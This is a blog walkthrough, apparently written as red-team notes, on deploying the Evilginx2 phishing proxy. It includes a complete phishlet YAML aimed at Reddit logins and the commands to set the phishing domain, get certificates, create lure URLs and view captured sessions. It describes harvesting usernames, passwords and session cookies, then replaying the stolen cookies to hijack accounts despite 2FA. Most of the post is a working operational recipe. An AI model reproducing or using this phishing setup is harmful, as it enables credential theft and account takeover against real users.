Phishing with Evilginx2
Evilginx 2 is this super cool proxy framework that helps hardworking red teamers do phishing with ease. Gone are the days where you would have to painstakingly craft the website to look exactly like the target website manually.
The diagram below is where Evilginx sits. It transparently proxies the connection between the user and the legitimate site, so that both user and site would think that they are talking to each other.
Due to this proxying, the site will always look kosher and the attacker doesn’t need to take a course in web programming 101.
Evilginx is the engine, and phishlets are YAML files that define how it can proxy a website. Phishlets are no longer distributed with the base Evilginx Github link. After some googling, I found a collection of them for learning purposes. Looking through these YAML files made it easier for me to start off with writing my own phishing template.
Although the developer makes releases on Github, I usually like to pull from master and build the source myself since I like latest and greatest (and also any issues are easier to tweak since I already can compile the source).
Building Evilginx was very painless, I pretty much followed the excellent guide here and got it working easily (10/10 for good and actually working documentation!!). As I wasn’t running Evilpuppet, I didn’t need Node.js.
Initially I tried the steps for local deployment (aka developer mode) so I could experiment without a domain, but things got gnarly and they couldn’t resolve, so I gave up and set it up remotely with a domain.
Start Evilginx:
build/evilginx -p Evilginx2-Phishlets/
The “-p” parameter points to the folder where phishlets are installed.
Evilginx then starts and prints out a table of phishlets that can be used. Since I pulled from the example phishlets repo, I had a huge list to work off from.
Configure the root domain
Firstly the root domain has to be configured, this will be the root domain where all the subdomains will be based off on.
Typing config
will show the currently configured values. To change these, you'll just need config <category> <new value>
. Thankfully you can just type help <command>
to see what you can do with each command.
To configure the root domain, you can type
config domain not-a-potato.com
Redirect URL
Evilginx has a protection mechanism of sorts where any hits to the urls will cause it to be redirected. The default url is the Rick Rolled video on YouTube, which isn’t really helpful unless you want to annoy Blue, so it should also be changed to something that looks maybe sorta kinda legit.
config redirect_url potato.com
Writing your own phishlet
Here we get into the meat of things. As it’s kind of weird to be talking about legitimately phishing a login site online, I’ll just talk about the reddit one available here.
The YAML is pretty simple. Let’s take it out for a spin.
author: '@customsync'
min_ver: '2.3.0'
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'reddit.com', session: true, is_landing: true}
- {phish_sub: 'win', orig_sub: 'www', domain: 'redditstatic.com', session: false, is_landing: false}
- {phish_sub: 'events', orig_sub: 'events', domain: 'reddit.com', session: false, is_landing: false}
sub_filters:
- {triggers_on: 'www.reddit.com', orig_sub: 'www', domain: 'reddit.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']}
- {triggers_on: 'www.reddit.com', orig_sub: 'www', domain: 'reddit.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']}
- {triggers_on: 'www.redditstatic.com', orig_sub: 'www', domain: 'redditstatic.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']}
- {triggers_on: 'www.redditstatic.com', orig_sub: 'www', domain: 'redditstatic.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']}
- {triggers_on: 'www.redditstatic.com', orig_sub: 'www', domain: 'redditstatic.com', search: 'src="https://{hostname}', replace: 'src="https://{hostname}', mimes: ['text/html', 'application/json']}
- {triggers_on: 'events.reddit.com', orig_sub: 'www', domain: 'reddit.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']}
- {triggers_on: 'events.reddit.com', orig_sub: 'www', domain: 'reddit.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']}
auth_tokens:
- domain: '.reddit.com'
keys: ['reddit_session']
credentials:
username:
key: 'username'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
login:
domain: 'www.reddit.com'
path: '/login'
We need to set the hostname for the phishlet so Evilginx knows what the phishing domains are. Running the command below will cause any domains / subdomains used by the legitimate site to be proxied as .reddit.not-a-potato.com.
phishlets hostname reddit reddit.not-a-potato.com
To enable it run
phishlets enable reddit
Evilginx will now helpfully set up Let’s Encrypt certificates for all the required domains automatically. I’m not sure if it has any integration with other domain registrars, but I had to manually create the subdomains that it required before it could request the certificates.
You can check what hosts it requires by running, then create these entries in your registrar.
phishlets get-hosts reddit
These hosts are created in correspondence with the YAML configuration. A snippet of the relevant portion is shown below.
proxy_hosts:
- {phish_sub: 'www', orig_sub: 'www', domain: 'reddit.com', session: true, is_landing: true}
- {phish_sub: 'win', orig_sub: 'www', domain: 'redditstatic.com', session: false, is_landing: false}
- {phish_sub: 'events', orig_sub: 'events', domain: 'reddit.com', session: false, is_landing: false}
The proxy_hosts
stanza refers to all the subdomains and domains that will be proxied. This is a useful resource and I spent a long time reading these definitions to craft my own template.
At this point, everything should be set up for our reddit phishlet, so time to test!
Create lure
We need a lure to catch the phish, so run
lures create reddit
to get it going.
To get the full url of the lure, simply use lures get-url <id>
. Evilginx will print out the full url that can be used
Accessing the url gives us this totally legit looking site prompting the user to sign in.
Any input the user makes will be recorded by Evilginx and stored if the template requests for it. The relevant section for our reddit template would be here:
credentials:
username:
key: 'username'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
These days though, recording the username and password isn’t so useful thanks to 2FA, also some sites also make it annoying by encrypting sensitive data on the client side before sending it over. I think it’s possible to use Evilginx to inject some JS code to record the pre-encrypted password though, but it’s not really important because the holy grail is the session once the user has logged in successfully.
The session to store is defined here:
auth_tokens:
- domain: '.reddit.com'
keys: ['reddit_session']
Them sweet passwords
This screenshot above is what will be printed out when all sessions have been acquired. The best practice at this point is to redirect the user out to the legitimate site after the cookies have been stolen. Unless tracking the user’s movement throughout the site is useful (hmm). However, that makes it a bit more problematic because you’d have to do more testing to ensure that the user doesn’t accidentally escape your phished site.
To look at the database of sessions, you can do this:
sessions
Evilginx will show you a list of captured tokens. To view it, just enter sessions <id>
.
With the saved sessions, it’s a simple matter of going to your favourite browser, adding the stolen session, and surfing the site like a pro.
Troubleshooting
When setting up the phishlet, the most involved portion is how resources are proxied. Depending on the system being phished, the client may be instructed to redirect to other domains during the authentication flow. That’s where the sub_filters
stanza could be useful.
sub_filters:
- {triggers_on: 'www.reddit.com', orig_sub: 'www', domain: 'reddit.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']}
The sample snippet above would replace the original text ‘action=” https://www.reddit.com"' with the phished hostname ‘action=” https://www.reddit.not-a-potato.com “‘.
This part gave me quite a bit of trouble when crafting my phishlet because the login mechanism was sending a redirect, which was causing my client to pop out into the legitimate site. I even had to go down to the source to print out logging statements + Burp to see what was up 😅. Luckily I managed to resolve my problem just by tweaking the phishlet rather than modifying Evilginx’s code. Phew.
This is a simple walkthrough of how to use Evilginx 2. Mostly for my own notes for future deployments. There are actually even more cool stuff you can do with the phishlets but what I had worked for what I needed. If I need more then I’ll have to do a next part next time!
Originally published at https://www.angelystor.com on July 10, 2023.